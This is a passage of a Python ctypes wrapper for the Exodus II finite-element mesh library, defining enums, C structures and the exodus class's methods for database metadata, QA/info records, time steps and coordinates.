1.8.13.\nEX_PNETCDF = 0x80000\n\n# set exodus error output option\nexErrPrintMode = ctypes.c_int(ex_options.EX_VERBOSE.value)\nEXODUS_LIB.ex_opts(exErrPrintMode)\n\n\nclass ex_inquiry(Enum):\n    EX_INQ_FILE_TYPE = 1                    # inquire EXODUS file type\n    EX_INQ_API_VERS = 2                     # inquire API version number\n    EX_INQ_DB_VERS = 3                      # inquire database version number\n    EX_INQ_TITLE = 4                        # inquire database title\n    EX_INQ_DIM = 5                          # inquire number of dimensions\n    EX_INQ_NODES = 6                        # inquire number of nodes\n    EX_INQ_ELEM = 7                         # inquire number of elements\n    EX_INQ_ELEM_BLK = 8                     # inquire number of element blocks\n    EX_INQ_NODE_SETS = 9                    # inquire number of node sets\n    EX_INQ_NS_NODE_LEN = 10                 # inquire length of node set node list\n    EX_INQ_SIDE_SETS = 11                   # inquire number of side sets\n    EX_INQ_SS_NODE_LEN = 12                 # inquire length of side set node list\n    EX_INQ_SS_ELEM_LEN = 13                 # inquire length of side set element list\n    EX_INQ_QA = 14                          # inquire number of QA records\n    EX_INQ_INFO = 15                        # inquire number of info records\n    EX_INQ_TIME = 16                        # inquire number of time steps in the database\n    EX_INQ_EB_PROP = 17                     # inquire number of element block properties\n    EX_INQ_NS_PROP = 18                     # inquire number of node set properties\n    EX_INQ_SS_PROP = 19                     # inquire number of side set properties\n    # inquire length of node set distribution factor list\n    EX_INQ_NS_DF_LEN = 20\n    # inquire length of side set distribution factor list\n    EX_INQ_SS_DF_LEN = 21\n    EX_INQ_LIB_VERS = 22                    # inquire API Lib vers number\n    EX_INQ_EM_PROP = 23                     # inquire number of element map properties\n    EX_INQ_NM_PROP = 24                     # inquire number of node map properties\n    EX_INQ_ELEM_MAP = 25                    # inquire number of element maps\n    EX_INQ_NODE_MAP = 26                    # inquire number of node maps\n    EX_INQ_EDGE = 27                        # inquire number of edges\n    EX_INQ_EDGE_BLK = 28                    # inquire number of edge blocks\n    EX_INQ_EDGE_SETS = 29                   # inquire number of edge sets\n    # inquire length of concat edge set edge list\n    EX_INQ_ES_LEN = 30\n    # inquire length of concat edge set dist factor list\n    EX_INQ_ES_DF_LEN = 31\n    # inquire number of properties stored per edge block\n    EX_INQ_EDGE_PROP = 32\n    # inquire number of properties stored per edge set\n    EX_INQ_ES_PROP = 33\n    EX_INQ_FACE = 34                        # inquire number of faces\n    EX_INQ_FACE_BLK = 35                    # inquire number of face blocks\n    EX_INQ_FACE_SETS = 36                   # inquire number of face sets\n    # inquire length of concat face set face list\n    EX_INQ_FS_LEN = 37\n    # inquire length of concat face set dist factor list\n    EX_INQ_FS_DF_LEN = 38\n    # inquire number of properties stored per face block\n    EX_INQ_FACE_PROP = 39\n    # inquire number of properties stored per face set\n    EX_INQ_FS_PROP = 40\n    EX_INQ_ELEM_SETS = 41                   # inquire number of element sets\n    # inquire length of concat element set element list\n    EX_INQ_ELS_LEN = 42\n    # inquire length of concat element set dist factor list\n    EX_INQ_ELS_DF_LEN = 43\n    # inquire number of properties stored per elem set\n    EX_INQ_ELS_PROP = 44\n    EX_INQ_EDGE_MAP = 45                    # inquire number of edge maps\n    EX_INQ_FACE_MAP = 46                    # inquire number of face maps\n    EX_INQ_COORD_FRAMES = 47                # inquire number of coordinate frames\n    # inquire size of MAX_NAME_LENGTH dimension on database\n    EX_INQ_DB_MAX_ALLOWED_NAME_LENGTH = 48\n    # inquire size of MAX_NAME_LENGTH dimension on database\n    EX_INQ_DB_MAX_USED_NAME_LENGTH = 49\n    # inquire client-specified max size of returned names\n    EX_INQ_MAX_READ_NAME_LENGTH = 50\n    # inquire size of floating-point values stored on database\n    EX_INQ_DB_FLOAT_SIZE = 51\n    EX_INQ_ASSEMBLY = 60\n    EX_INQ_BLOB = 61\n    EX_INQ_INVALID = -1\n\n\nclass ex_type(Enum):\n    EX_CHAR = 2     # NC_CHAR (from netcdf.h)\n    EX_INTEGER = 4  # NC_INT (from netcdf.h)\n    EX_DOUBLE = 6   # NC_DOUBLE (from netcdf.h)\n    EX_INVALID = -1\n\n\ndef ex_type_map(type):\n    \"\"\"\n    Map the exodus inquiry flags to an enum value.\n    \"\"\"\n    return ex_type[type].value\n\n\ndef ex_inquiry_map(inquiry):\n    \"\"\"\n    Map the exodus inquiry flags to an enum value.\n    \"\"\"\n    return ex_inquiry[inquiry].value\n\n\ndef ex_obj_to_inq(objType):\n    \"\"\"\n    Return the ex_inquiry string corresponding to the specified objType.\n    This can be passed to the ex_inquiry_map() function to get the number of\n    objects of the specified objType\n    \"\"\"\n    entity_dictionary = {\n        'EX_ASSEMBLY': 'EX_INQ_ASSEMBLY',\n        'EX_BLOB': 'EX_INQ_BLOB',\n        'EX_EDGE_BLOCK': 'EX_INQ_EDGE_BLK',\n        'EX_FACE_BLOCK': 'EX_INQ_FACE_BLK',\n        'EX_ELEM_BLOCK': 'EX_INQ_ELEM_BLK',\n        'EX_NODE_SET': 'EX_INQ_NODE_SETS',\n        'EX_EDGE_SET': 'EX_INQ_EDGE_SETS',\n        'EX_FACE_SET': 'EX_INQ_FACE_SETS',\n        'EX_ELEM_SET': 'EX_INQ_ELEM_SETS',\n        'EX_SIDE_SET': 'EX_INQ_SIDE_SETS',\n        'EX_NODE_MAP': 'EX_INQ_NODES',\n        'EX_EDGE_MAP': 'EX_INQ_EDGE',\n        'EX_FACE_MAP': 'EX_INQ_FACE',\n        'EX_ELEM_MAP': 'EX_INQ_ELEM',\n    }\n\n    return entity_dictionary.get(objType, -1)\n\n\ndef ex_entity_type_to_objType(entity_type):\n    \"\"\"\n    \"\"\"\n    entity_dictionary = {\n        get_entity_type('EX_ASSEMBLY'): \"assembly\",\n        get_entity_type('EX_BLOB'): \"blob\",\n        get_entity_type('EX_EDGE_BLOCK'): \"edge block\",\n        get_entity_type('EX_FACE_BLOCK'): \"face block\",\n        get_entity_type('EX_ELEM_BLOCK'): \"element block\",\n        get_entity_type('EX_NODE_SET'): \"node set\",\n        get_entity_type('EX_EDGE_SET'): \"edge set\",\n        get_entity_type('EX_FACE_SET'): \"face set\",\n        get_entity_type('EX_ELEM_SET'): \"element set\",\n        get_entity_type('EX_SIDE_SET'): \"side set\",\n        get_entity_type('EX_NODE_MAP'): \"node map\",\n        get_entity_type('EX_EDGE_MAP'): \"edge map\",\n        get_entity_type('EX_FACE_MAP'): \"face map\",\n        get_entity_type('EX_ELEM_MAP'): \"element map\"\n    }\n\n    return entity_dictionary.get(entity_type, 'EX_INVALID')\n\n\nclass ex_entity_type(Enum):\n    \"\"\"\n    The ex_entity_type enum from the exodusII.h include file\n\n    Parameters\n    ----------\n    EX_NODAL\n         nodal \\\"block\\\" for variables\n    EX_NODE_BLOCK\n         alias for EX_NODAL\n    EX_NODE_SET\n         node set property code\n    EX_EDGE_BLOCK\n         edge block property code\n    EX_EDGE_SET\n         edge set property code\n    EX_FACE_BLOCK\n         face block property code\n    EX_FACE_SET\n         face set property code\n    EX_ELEM_BLOCK\n         element block property code\n    EX_ELEM_SET\n         face set property code\n    EX_SIDE_SET\n         side set property code\n    EX_ELEM_MAP\n         element map property code\n    EX_NODE_MAP\n         node map property code\n    EX_EDGE_MAP\n         edge map property code\n    EX_FACE_MAP\n         face map property code\n    EX_GLOBAL\n         global \\\"block\\\" for variables\n    EX_COORDINATE\n         kluge so some internal wrapper functions work\n    EX_ASSEMBLY\n         assemblies (collections of other entities)\n    EX_BLOB\n         blob (arbitrary sized binary object)\n    EX_INVALID\n         invalid\n    \"\"\"\n    EX_NODAL = 14\n    EX_NODE_BLOCK = 14\n    EX_NODE_SET = 2\n    EX_EDGE_BLOCK = 6\n    EX_EDGE_SET = 7\n    EX_FACE_BLOCK = 8\n    EX_FACE_SET = 9\n    EX_ELEM_BLOCK = 1\n    EX_ELEM_SET = 10\n    EX_SIDE_SET = 3\n    EX_ELEM_MAP = 4\n    EX_NODE_MAP = 5\n    EX_EDGE_MAP = 11\n    EX_FACE_MAP = 12\n    EX_GLOBAL = 13\n    EX_COORDINATE = 15\n    EX_ASSEMBLY = 16\n    EX_BLOB = 17\n    EX_INVALID = -1\n\n\ndef get_entity_type(varType):\n    \"\"\"\n    Map the exodus ex_entity_type flags to an integer value.\n    \"\"\"\n    try:\n        return ex_entity_type[varType].value\n    except KeyError:\n        return varType if (isinstance(varType, int)) else varType.value\n\n\n# init params struct\nclass ex_init_params(ctypes.Structure):\n    \"\"\"\n    Parameters defining the model dimension, note that many are optional.\n\n    Parameters\n    ----------\n    num_dim : int\n        number of model dimensions\n    num_nodes : int\n        number of model nodes\n    num_edge : int\n        number of model edges\n    num_edge_blk : int\n        number of model edge blocks\n    num_face : int\n        number of model faces\n    num_face_blk : int\n        number of model face blocks\n    num_elem : int\n        number of model elements\n    num_elem_blk : int\n        number of model element blocks\n    num_node_sets : int\n        number of model node sets\n    num_edge_sets : int\n        number of model edge sets\n    num_face_sets : int\n        number of model face sets\n    num_side_sets : int\n        number of model side sets\n    num_elem_sets : int\n        number of model elem sets\n    num_node_maps : int\n        number of model node maps\n    num_edge_maps : int\n        number of model edge maps\n    num_face_maps : int\n        number of model face maps\n    num_elem_maps : int\n        number of model elem maps\n    num_assembly : int\n        number of assemblies\n    num_blob : int\n        number of blobs\n    \"\"\"\n    _fields_ = [(\"title\", ctypes.c_char * (MAX_LINE_LENGTH + 1)),\n                (\"num_dim\", ctypes.c_longlong),\n                (\"num_nodes\", ctypes.c_longlong),\n                (\"num_edge\", ctypes.c_longlong),\n                (\"num_edge_blk\", ctypes.c_longlong),\n                (\"num_face\", ctypes.c_longlong),\n                (\"num_face_blk\", ctypes.c_longlong),\n                (\"num_elem\", ctypes.c_longlong),\n                (\"num_elem_blk\", ctypes.c_longlong),\n                (\"num_node_sets\", ctypes.c_longlong),\n                (\"num_edge_sets\", ctypes.c_longlong),\n                (\"num_face_sets\", ctypes.c_longlong),\n                (\"num_side_sets\", ctypes.c_longlong),\n                (\"num_elem_sets\", ctypes.c_longlong),\n                (\"num_node_maps\", ctypes.c_longlong),\n                (\"num_edge_maps\", ctypes.c_longlong),\n                (\"num_face_maps\", ctypes.c_longlong),\n                (\"num_elem_maps\", ctypes.c_longlong),\n                (\"num_assembly\", ctypes.c_longlong),\n                (\"num_blob\", ctypes.c_longlong)]\n\n\nclass assembly:\n    def __init__(self, name, id, type):\n        self.name = name\n        self.id = id\n        if isinstance(type, str):\n            type = ex_entity_type[type].value\n        if isinstance(type, ex_entity_type):\n            type = type.value\n        self.type = type\n        self.entity_list = []\n\n    def __repr__(self):\n        return \"assembly(name=%r, type=%r, id=%r, members=%r)\" % (self.name, self.type, self.id, self.entity_list)\n\n\nclass ex_assembly(ctypes.Structure):\n    \"\"\"\n    Structure defining the assembly parameters.\n\n    Parameters\n    ----------\n    id : int64_t\n    name : char *\n    type : ex_entity_type\n    entity_count : int\n    entity_list : void_int *\n    \"\"\"\n    _fields_ = [(\"id\", ctypes.c_longlong),\n                (\"name\", ctypes.c_char_p),\n                (\"type\", ctypes.c_int),\n                (\"entity_count\", ctypes.c_int),\n                (\"entity_list\", ctypes.POINTER(ctypes.c_longlong))]\n\n\ndef setup_ex_assembly(assembly):\n    ctype_assem = ex_assembly(id=assembly.id, name=assembly.name.encode(), type=assembly.type)\n    ctype_assem.entity_count = len(assembly.entity_list)\n    ctype_assem.entity_list = (ctypes.c_longlong * ctype_assem.entity_count)(*assembly.entity_list)\n    return ctype_assem\n\n\nclass blob(object):\n    def __init__(self, name, id, num_entry):\n        self.name = name\n        self.id = id\n        self.num_entry = num_entry\n\n    def __repr__(self):\n        return \"blob(name=%r, id=%r, num_entry=%r)\" % (self.name, self.id, self.num_entry)\n\n\nclass ex_blob(ctypes.Structure):\n    \"\"\"\n    Structure defining the blob parameters.\n\n    Parameters\n    ----------\n    id : int64_t\n    name : char *\n    num_entry : int64_t\n    \"\"\"\n    _fields_ = [(\"id\", ctypes.c_longlong),\n                (\"name\", ctypes.c_char_p),\n                (\"num_entry\", ctypes.c_longlong)]\n\n\nclass attribute:\n    def __init__(self, name, type, id):\n        self.name = name\n        if isinstance(type, str):\n            type = ex_entity_type[type].value\n        if isinstance(type, ex_entity_type):\n            type = type.value\n        self.entity_type = type\n        self.entity_id = id\n        self.values = []\n\n    def __repr__(self):\n        return \"attribute(name=%r, entity_type=%r, entity_id=%r, values=%r)\" % (self.name, self.entity_type, self.entity_id, self.values)\n\n\nclass ex_attribute(ctypes.Structure):\n    \"\"\"\n    Used for accessing underlying exodus library...\n\n    Parameters\n    ----------\n    entity_type : ex_entity_type\n    entity_id : int64_t\n    name : char[257]\n    type : ex_type\n    value_count : int\n    values : void*\n    \"\"\"\n    _fields_ = [(\"entity_type\", ctypes.c_int),\n                (\"entity_id\", ctypes.c_longlong),\n                (\"name\", ctypes.c_char * 257),\n                (\"type\", ctypes.c_int),\n                (\"value_count\", ctypes.c_int),\n                (\"values\", ctypes.c_void_p)]\n\n\nclass exodus:\n    \"\"\"\n    The exodus model abstraction\n    \"\"\"\n\n    #\n    # construction of a new exodus object\n    #\n    # --------------------------------------------------------------------\n\n    def __init__(self, file, mode=None, array_type='ctype', title=None,\n                 numDims=None, numNodes=None, numElems=None, numBlocks=None,\n                 numNodeSets=None, numSideSets=None, numAssembly=None,\n                 numBlob=None, init_params=None, io_size=0):\n        \"\"\"\n        Open exodus database for data insertion/extraction.\n\n        Parameters\n        ----------\n        file_name : string\n           name of exodus file to open\n        mode : string\n          'r' for read, 'a' for append, 'w' for write, 'w+' for write+clobber existing file\n        title : string\n           database title\n        array_type : string\n           'ctype' for c-type arrays, 'numpy' for numpy arrays\n        num_dims : int\n           number of model dimensions ('w'/'w+' mode only)\n        num_nodes : int\n           number of model nodes ('w'/'w+' mode only)\n        num_elems : int\n           number of model elements ('w'/'w+' mode only)\n        num_blocks : int\n           number of model element blocks ('w'/'w+' mode only)\n        num_ns : int\n           number of model node sets ('w'/'w+' mode only)\n        num_ss : int\n           number of model side sets ('w'/'w+' mode only)\n\n        init_params : ex_init_params\n           see `exodus.ex_init_params` for more info.\n\n        Returns\n        -------\n        exo : exodus object\n            the open exodus database\n\n        Usage\n        -----\n\n        >>> ex_pars = ex_init_params(num_dim=numDims, num_nodes=numNodes,\n        ...                          num_elem=numElems, num_elem_blk=numElemBlocks, num_assembly=numAssembly)\n\n        >>> exo = exodus(file_name, mode=mode, title=title,\n        ...             array_type=array_type, init_params=ex_pars)\n        >>> with exodus(file_name, mode=mode, title=title,\\\n        ...             array_type=array_type, init_params=ex_pars) as exo:\n        ...     pass\n        \"\"\"\n        global SHOW_BANNER\n        if SHOW_BANNER:\n            print(EXODUS_PY_COPYRIGHT)\n            SHOW_BANNER = False\n\n        if mode is None:\n            mode = 'r'\n\n        if array_type == 'numpy':\n            # Import numpy to convert from c-type arrays to numpy arrays\n            # (Numpy is imported here rather than at the module level, so that\n            # the import only occurs if the user specifies a numpy array type.\n            # This way, platforms without numpy installed can still import the\n            # exodus.py module and just use ctype arrays.)\n            import numpy as np\n            self.np = np\n            self.use_numpy = True\n            # Warnings module is needed to suppress the invalid warning when\n            # converting from c-type arrays to numpy arrays\n            # http://stackoverflow.com/questions/4964101/pep-3118-warning-when-using-ctypes-array-as-numpy-array\n            import warnings\n            self.warnings = warnings\n        else:\n            self.use_numpy = False\n\n        self.EXODUS_LIB = EXODUS_LIB\n        self.fileName = str(file)\n        self.basename = basename(file)\n        self.modeChar = mode\n        self.fileId = None\n        self.__open(io_size=io_size)\n        EXODUS_LIB.ex_set_max_name_length(self.fileId, MAX_NAME_LENGTH)\n        if mode.lower() in ['w', 'w+']:\n            if init_params is not None:\n                self.init_params = init_params\n                if title is not None:\n                    self.init_params.title = title\n                self.put_info_ext(self.init_params)\n            else:\n                if numNodeSets is None:\n                    numNodeSets = 0\n                if numSideSets is None:\n                    numSideSets = 0\n                if numNodes is None:\n                    numNodes = 0\n                if numElems is None:\n                    numElems = 0\n                if numBlocks is None:\n                    numBlocks = 0\n\n                info = [title, numDims, numNodes, numElems, numBlocks,\n                        numNodeSets, numSideSets]\n                if None not in info:\n                    self.__ex_put_info(info)\n\n            self.numTimes = ctypes.c_int(0)\n        else:\n            self.__ex_get_info()\n            self.numTimes = ctypes.c_int(\n                self.__ex_inquire_int(\n                    ex_inquiry_map('EX_INQ_TIME')))\n\n        self.coordsX = None\n        self.coordsY = None\n        self.coordsZ = None\n        self.times = None\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, type, value, traceback):\n        self.close()\n        if not traceback:\n            return True\n\n    def summarize(self):\n        \"\"\"\n        Outputs a summary of the exodus file data. Output is similar to:\n        ```\n        Database: base_ioshell_copy.e\n        Title:  This is the title\n\n        Number of spatial dimensions = 3                                                 Number of global variables     = 10\n        Number of node blocks        = 1         Number of nodes              = 1,331    Number of nodal variables      =  2\n        Number of element blocks     = 1         Number of elements           = 1,000    Number of element variables    =  5\n        Number of node sets          = 3         Length of node list          =   363    Number of nodeset variables    =  4\n        Number of element side sets  = 3         Length of element sides      =   300    Number of sideset variables    =  3\n        Number of assemblies         = 4                                                 Number of assembly variables   = 10\n        Number of blobs              = 0                                                 Number of blob     variables   =  0\n        Number of time steps         = 5\n        ```\n        \"\"\"\n\n        sidesets = self.get_ids('EX_SIDE_SET')\n        total_sides = sum(self.num_faces_in_side_set(sideset) for sideset in sidesets)\n        nodesets = self.get_ids('EX_NODE_SET')\n        total_ns_nodes = sum(self.num_nodes_in_node_set(nodeset) for nodeset in nodesets)\n\n        num_glo_vars = self.get_variable_number('EX_GLOBAL')\n        num_nod_vars = self.get_variable_number('EX_NODAL')\n        num_ele_vars = self.get_variable_number('EX_ELEM_BLOCK')\n        num_ns_vars = self.get_variable_number('EX_NODE_SET')\n        num_ss_vars = self.get_variable_number('EX_SIDE_SET')\n        num_assem_vars = self.get_reduction_variable_number('EX_ASSEMBLY')\n        num_blob_vars = self.get_reduction_variable_number('EX_BLOB')\n\n        print(\"\\n Database: {0}\\n\"\n              \" Title:\\t{17}\\n\\n\"\n              \" Number of spatial dimensions = {1:3d}\\t\"\n              \"                                   {2:11s}\\t\"\n              \" Number of global variables     = {11:6d}\\n\"\n              \" Number of node blocks        = {5:3d}\\t\"\n              \" Number of nodes              = {3:10n}\\t\"\n              \" Number of nodal variables      = {12:6d}\\n\"\n              \" Number of element blocks     = {6:3n}\\t\"\n              \" Number of elements           = {4:10n}\\t\"\n              \" Number of element variables    = {13:6d}\\n\"\n              \" Number of node sets          = {7:3n}\\t\"\n              \" Length of node list          = {9:10n}\\t\"\n              \" Number of nodeset variables    = {14:6d}\\n\"\n              \" Number of element side sets  = {8:3n}\\t\"\n              \" Length of element sides      = {10:10n}\\t\"\n              \" Number of sideset variables    = {15:6d}\\n\"\n              \" Number of assemblies         = {18:3n}\\t\"\n              \"                                   {2:11s}\\t\"\n              \" Number of assembly red vars    = {19:6d}\\n\"\n              \" Number of blobs              = {20:3n}\\t\"\n              \"                                   {2:11s}\\t\"\n              \" Number of blob red vars        = {21:6d}\\n\"\n              \" Number of time steps         = {16:3n}\\n\"\n              .format(self.fileName,\n                      self.num_dimensions(), \"\",\n                      self.num_nodes(),\n                      self.num_elems(),\n                      1,\n                      self.num_blks(),\n                      self.num_node_sets(),\n                      self.num_side_sets(),\n                      total_ns_nodes, total_sides,\n                      num_glo_vars, num_nod_vars, num_ele_vars,\n                      num_ns_vars, num_ss_vars, self.num_times(), self.title(),\n                      self.num_assembly(), num_assem_vars,\n                      self.num_blob(), num_blob_vars))\n\n    def put_info_ext(self, p):\n        \"\"\"\n        put initialization information into exodus file\n\n        >>> e.put_info_ext(info_struct)\n        \"\"\"\n        if len(p.title) > MAX_LINE_LENGTH:\n            print(f'WARNING: Exodus title \\\"{p.title}\\\" exceeds maximum line length ({MAX_LINE_LENGTH}). It will be truncated.')\n\n            p.title = p.title[-1 * MAX_LINE_LENGTH:]\n\n        self.Title = ctypes.create_string_buffer(p.title, MAX_LINE_LENGTH + 1)\n        self.numDim = ctypes.c_longlong(p.num_dim)\n        self.numNodes = ctypes.c_longlong(p.num_nodes)\n        self.numElem = ctypes.c_longlong(p.num_elem)\n        self.numElemBlk = ctypes.c_longlong(p.num_elem_blk)\n        self.numNodeSets = ctypes.c_longlong(p.num_node_sets)\n        self.numSideSets = ctypes.c_longlong(p.num_side_sets)\n        self.numAssembly = ctypes.c_longlong(p.num_assembly)\n\n        EXODUS_LIB.ex_put_init_ext(self.fileId, ctypes.byref(p))\n        return True\n\n    def copy(self, fileName, include_transient=False, mode='a'):\n        \"\"\"\n        Copies exodus database to file_name and returns an opened copy as a\n        new exodus object. This object will need to be closed when it is done\n        being used.\n\n        >>> exo_copy = exo.copy(file_name)\n        >>> exo_copy.close()\n\n        Parameters\n        ----------\n        file_name : str\n            name of exodus file to open\n\n        Returns\n        -------\n        exo_copy : exodus object opened in append mode by default\n        \"\"\"\n        i64Status = EXODUS_LIB.ex_int64_status(self.fileId)\n        fileId = EXODUS_LIB.ex_create_int(fileName.encode('ascii'), EX_NOCLOBBER | i64Status,\n                                          ctypes.byref(self.comp_ws),\n                                          ctypes.byref(self.io_ws),\n                                          EX_API_VERSION_NODOT)\n\n        self.copy_file(fileId, include_transient)\n        EXODUS_LIB.ex_close(fileId)\n\n        return exodus(fileName, mode)\n\n    def copy_file(self, file_id, include_transient=False):\n        \"\"\"\n        Copies exodus database to the database pointed to by `fileId`\n        Returns the passed in `file_id`.\n\n        >>> with exodus.exodus(file_name, mode='w') as exofile:\n        >>>     with exo.copy_file(exofile.fileId, include_transient=True) as exo_copy:\n        >>>         exo_copy.close()\n\n        Parameters\n        ----------\n        fileId : str\n            name of exodus file to open\n        include_transient: bool\n            should the transient data in the original file also be copied to the output file\n            or just the mesh (non-transient) portion.\n\n        Returns\n        -------\n        file_id: The file_id of the copied to file\n\n        \"\"\"\n        EXODUS_LIB.ex_copy(self.fileId, file_id)\n        if include_transient:\n            EXODUS_LIB.ex_copy_transient(self.fileId, file_id)\n\n        return file_id\n\n    def title(self):\n        \"\"\"\n        get the database title\n\n        >>> title = exo.title()\n\n        Returns\n        -------\n        title : string\n        \"\"\"\n        return self.Title.value.decode('utf8')\n\n    def version_num(self):\n        \"\"\"\n        get exodus version number used to create the database\n\n        >>> version = exo.version_num()\n\n        Returns\n        -------\n        version : string\n            representation of version number\n        \"\"\"\n        return \"%1.2f\" % self.version.value\n\n    def put_info(self, Title, numDim, numNodes, numElem, numElemBlk,\n                 numNodeSets, numSideSets):\n        \"\"\"\n        Initialize static metadata for the database.\n\n        >>> status = exo.put_info(title, num_dims, num_nodes, num_elems,\n        ...                      num_blocks, num_ns, num_ss)\n\n        Parameters\n        ----------\n        title : string\n            database title\n        num_dims : int\n            number of model dimensions\n        num_nodes : int\n            number of model nodes\n        num_elems : int\n            number of model elements\n        num_blocks : int\n            number of model element blocks\n        num_ns : int\n            number of model node sets\n        num_ss : int\n            number of model side sets\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        \"\"\"\n        self.__ex_put_info([Title, numDim, numNodes, numElem,\n                            numElemBlk, numNodeSets, numSideSets])\n        return True\n\n    def inquire(self, inquiry):\n        \"\"\"\n        Inquire about various properties of the database\n\n        Returns\n        -------\n        inq_res : int\n        \"\"\"\n        return self.__ex_inquire_int(ex_inquiry_map(inquiry))\n\n    def num_qa_records(self):\n        \"\"\"\n        get the number of qa records\n\n        >>> num_qa_recs = exo.num_qa_records()\n\n        Returns\n        -------\n        num_qa_recs : int\n        \"\"\"\n        return int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_QA')))\n\n    def get_qa_records(self):\n        \"\"\"\n        get a list of QA records where each QA record is a length-4 tuple of strings:\n          1. the software name that accessed/modified the database\n          2. the software descriptor, e.g. version\n          3. additional software data\n          4. time stamp\n\n        >>> qa_recs = exo.get_qa_records()\n\n\n        Returns\n        -------\n        qa_recs : <list<tuple[4]<string>>>\n        \"\"\"\n        return self.__ex_get_qa()\n\n    def put_qa_records(self, records):\n        \"\"\"\n        store a list of QA records where each QA record is a length-4 tuple of strings:\n          1. the software name that accessed/modified the database\n          2. the software descriptor, e.g. version\n          3. additional software data\n          4. time stamp\n\n        >>> status = exo.put_qa_records()\n\n        Parameter\n        ---------\n        qa_recs : <list<tuple[4]<string>>>\n\n        Returns\n        ------\n        status : bool\n            True = successful execution\n        \"\"\"\n        for rec in records:\n            assert len(rec) == 4\n            for recEntry in rec:\n                assert len(str(recEntry).encode('ascii')) < MAX_STR_LENGTH\n        return self.__ex_put_qa(records)\n\n    def num_info_records(self):\n        \"\"\"\n        get the number of info records\n\n        >>> num_info_recs = exo.num_info_records()\n\n        Returns\n        -------\n        num_info_recs : int\n        \"\"\"\n        return int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_INFO')))\n\n    def get_info_records(self):\n        \"\"\"\n        get a list info records where each entry in the list is one info\n        record, e.g. a line of an input deck\n\n        >>> info_recs = exo.get_info_records()\n\n        Returns\n        -------\n        info_recs : <list<string>>\n\n        \"\"\"\n        return self.__ex_get_info_recs()\n\n    def put_info_records(self, info):\n        \"\"\"\n        store a list of info records where each entry in the list is\n        one line of info, e.g. a line of an input deck\n\n        >>> status = exo.put_info_records(info)\n\n        Parameters\n        ----------\n        info_recs : <list<tuple[4]<string>>>\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        for rec in info:\n            if len(str(rec).encode('ascii')) > MAX_LINE_LENGTH:\n                print(\"WARNING: max line length reached for one or more info records;\")\n                print(\n                    \"         info stored to exodus file is incomplete for these records\")\n                break\n        return self.__ex_put_info_recs(info)\n\n    # --------------------------------------------------------------------\n\n    def get_sierra_input(self, inpFileName=None):\n        \"\"\"\n        parse sierra input deck from the info records if inp_file_name\n        is passed the deck is written to this file; otherwise a list\n        of input deck file lines is returned\n\n        >>> inp = exo.get_sierra_input(inpFileName=inp_file_name)\n\n        Parameters\n        ----------\n        inp_file_name : string, optional\n           Name of text file where info records corresponding to the Sierra input deck will be written\n\n        Returns\n        -------\n        inp : list<string>\n           lines if inp_file_name not provided; otherwise, an empty list\n\n        \"\"\"\n        info_recs = self.__ex_get_info_recs()\n        sierra_inp = []\n        begin = False\n        for rec in info_recs:\n            vals = rec.split()\n            if not begin:  # have not reached Sierra block\n                if len(vals) >= 2 and vals[0].lower() == \"begin\" and vals[1].lower() == \"sierra\":\n                    begin = True\n            if begin:  # inside Sierra block\n                sierra_inp.append(rec)\n                if len(rec) > MAX_LINE_LENGTH:\n                    print(\n                        \"WARNING: max line length reached for one or more input lines;\")\n                    print(\"         input data might be incomplete for these lines\")\n                    break\n                if len(vals) >= 2 and vals[0].lower() == \"end\" and vals[1].lower() == \"sierra\":\n                    break  # end of Sierra block\n\n        if inpFileName:\n            with open(inpFileName.encode('ascii'), \"w\") as fd:\n                for fileLine in sierra_inp:\n                    fd.write(fileLine + \"\\n\")\n            return []\n\n        return sierra_inp\n\n    #\n    # time steps\n    #\n    # --------------------------------------------------------------------\n\n    def num_times(self):\n        \"\"\"\n        get the number of time steps\n\n        >>> num_times = exo.num_times()\n\n        Returns\n        -------\n        num_times : int\n        \"\"\"\n        return self.numTimes.value\n\n    # --------------------------------------------------------------------\n\n    def get_times(self):\n        \"\"\"\n        get the time values\n\n        >>> time_vals = exo.get_times()\n\n        Returns\n        -------\n            if array_type == 'ctype' :\n              <list<ctypes.c_double>>  time_vals\n\n            if array_type == 'numpy' :\n              <np_array<double>>  time_vals\n        \"\"\"\n        if self.numTimes.value == 0:\n            self.times = []\n        else:\n            self.__ex_get_all_times()\n        if self.use_numpy:\n            self.times = ctype_to_numpy(self, self.times)\n        return self.times\n\n    # --------------------------------------------------------------------\n\n    def put_time(self, step, value):\n        \"\"\"\n        store a new time\n\n        >>> exo.put_time(time_step, time_val)\n\n        Parameters\n        ----------\n        time_step : int\n            time step index (1-based)\n        time_val : float\n            time value for this step\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_time(step, value)\n        self.numTimes = ctypes.c_int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_TIME')))\n        return True\n\n    #\n    # coordinate system\n    #\n    # --------------------------------------------------------------------\n\n    def num_dimensions(self):\n        \"\"\"\n        get the number of model spatial dimensions\n\n        >>> num_dims = exo.num_dimensions()\n\n        Returns\n        -------\n        num_dims : <int\n        \"\"\"\n        return self.numDim.value\n\n    # --------------------------------------------------------------------\n\n    def get_coord_names(self):\n        \"\"\"\n        get a list of length exo.num_dimensions() that has the name\n        of each model coordinate direction, e.g. ['x', 'y', 'z']\n\n        >>> coord_names = exo.get_coord_names()\n\n        Returns\n        -------\n            <list<string>>  coord_names\n        \"\"\"\n        return self.__ex_get_coord_names()\n\n    # --------------------------------------------------------------------\n\n    def put_coord_names(self, names):\n        \"\"\"\n        store a list of length exo.num_dimensions() that has the name\n        of each model coordinate direction, e.g. ['x', 'y', 'z']\n\n        >>> exo.put_coord_names()\n\n        Parameters\n        ----------\n            <list<string>>  coord_names\n        \"\"\"\n        self.__ex_put_coord_names(names)\n\n    #\n    # nodes\n    #\n    # --------------------------------------------------------------------\n\n    def num_nodes(self):\n        \"\"\"\n        get the number of nodes in the model\n\n        >>> num_nodes = exo.num_nodes()\n\n        Returns\n        -------\n        num_nodes : int\n        \"\"\"\n        return self.numNodes.value\n\n    # --------------------------------------------------------------------\n\n    def get_coords(self):\n        \"\"\"\n        get model coordinates of all nodes; for each coordinate\n        direction, a length exo.num_nodes() list is returned\n\n        >>> x_coords, y_coords, z_coords = exo.get_coords()\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  x_coords  global x-direction coordinates\n              <list<ctypes.c_double>>  y_coords  global y-direction coordinates\n              